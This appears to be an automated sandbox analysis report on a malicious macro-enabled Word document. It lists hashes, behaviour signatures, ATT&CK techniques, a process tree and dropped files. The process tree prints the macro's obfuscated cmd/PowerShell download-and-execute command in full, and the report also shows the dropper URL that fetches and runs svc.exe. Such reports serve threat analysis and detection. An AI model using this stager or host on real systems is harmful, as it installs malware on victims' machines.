616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0

General

Target

616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm
Size

518KB
MD5

1f2d795ca29afadf24325cfbb3f60e4e
SHA1

d5e05bf7300a09b6706082907e726b0d5a09e550
SHA256

616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0
SHA512

40ff395e3e62e9c0b47d9ec088129042b26ceeee28c76c23615086c33fcbc57250a8c4ea53464dfd5398a5e023743dca988d7c86ec1f6039a873d8b3352393b7
SSDEEP

6144:sEc+F+HLHNIvPl8qZDC9VT8L38S8WyI6OLxoq5seCsH8BB3y8dqtUO2TsyUrOSo:sEcJHNopZW9eLH8WyITLfyXXvqxj9o

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://94.232.249.161/download/svc.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3280	4144	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

30 3320 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

svc.exe

pid process

5112 svc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2548 5112 WerFault.exe svc.exe

flow	pid	process
30	3320	powershell.exe

pid	process
5112	svc.exe

pid	pid_target	process	target process
2548	5112	WerFault.exe	svc.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svc.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1548 timeout.exe

pid	process
1548	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4144 WINWORD.EXE
4144 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3760 powershell.exe
3760 powershell.exe
3760 powershell.exe
3320 powershell.exe
3320 powershell.exe
3320 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3760 powershell.exe
Token: SeDebugPrivilege 3320 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4144 WINWORD.EXE
4144 WINWORD.EXE
4144 WINWORD.EXE
4144 WINWORD.EXE
4144 WINWORD.EXE
4144 WINWORD.EXE
4144 WINWORD.EXE

pid	process
4144	WINWORD.EXE
4144	WINWORD.EXE

pid	process
3760	powershell.exe
3760	powershell.exe
3760	powershell.exe
3320	powershell.exe
3320	powershell.exe
3320	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe

pid	process
4144	WINWORD.EXE
4144	WINWORD.EXE
4144	WINWORD.EXE
4144	WINWORD.EXE
4144	WINWORD.EXE
4144	WINWORD.EXE
4144	WINWORD.EXE

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4144 wrote to memory of 3280	4144	WINWORD.EXE	cmd.exe
PID 4144 wrote to memory of 3280	4144	WINWORD.EXE	cmd.exe
PID 3280 wrote to memory of 1548	3280	cmd.exe	timeout.exe
PID 3280 wrote to memory of 1548	3280	cmd.exe	timeout.exe
PID 3280 wrote to memory of 3760	3280	cmd.exe	powershell.exe
PID 3280 wrote to memory of 3760	3280	cmd.exe	powershell.exe
PID 3760 wrote to memory of 3320	3760	powershell.exe	powershell.exe
PID 3760 wrote to memory of 3320	3760	powershell.exe	powershell.exe
PID 3320 wrote to memory of 5112	3320	powershell.exe	svc.exe
PID 3320 wrote to memory of 5112	3320	powershell.exe	svc.exe
PID 3320 wrote to memory of 5112	3320	powershell.exe	svc.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4144

C:\Windows\SYSTEM32\cmd.exe
cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3280

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:1548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA5ADQALgAyADMAMgAuADIANAA5AC4AMQA2ADEALwBkAG8AdwBuAGwAbwBhAGQALwBzAHYAYwAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAC4AZQB4AGUAIgA7ACAAJABXAGUAYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVAHIAbAAsACAAJABQAHQAaAApADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFAAdABoADsA
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3320

C:\Users\Admin\AppData\Local\Temp\svc.exe
"C:\Users\Admin\AppData\Local\Temp\svc.exe"
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:5112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 352
6⤵
- Program crash
PID:2548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4232,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:8
1⤵
PID:3108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5112 -ip 5112
1⤵
PID:1796

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD4DCB.tmp\sist02.xsl
Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnpfvyk1.qmn.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\svc.exe
Filesize
180KB

MD5
92c57dd80b764a028749520017d44e76

SHA1
f732220adaacf23de6cc69d964341766d2e350d9

SHA256
dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

SHA512
dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

Download Submit
memory/3760-41-0x00000246F1A10000-0x00000246F1A32000-memory.dmp

Filesize
136KB

Download
memory/4144-10-0x00007FF81E9C0000-0x00007FF81E9D0000-memory.dmp

Filesize
64KB

Download
memory/4144-40-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-7-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-9-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-0-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-12-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-13-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-14-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-11-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-15-0x00007FF81E9C0000-0x00007FF81E9D0000-memory.dmp

Filesize
64KB

Download
memory/4144-16-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-19-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-22-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-21-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-20-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-18-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-17-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-38-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-39-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-8-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-6-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-4-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-5-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-1-0x00007FF86104D000-0x00007FF86104E000-memory.dmp

Filesize
4KB

Download
memory/4144-2-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-584-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-78-0x00007FF86104D000-0x00007FF86104E000-memory.dmp

Filesize
4KB

Download
memory/4144-79-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-125-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-3-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-486-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-505-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-580-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-581-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-583-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/4144-582-0x00007FF821030000-0x00007FF821040000-memory.dmp

Filesize
64KB

Download
memory/5112-72-0x0000000000400000-0x0000000002349000-memory.dmp

Filesize
31.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads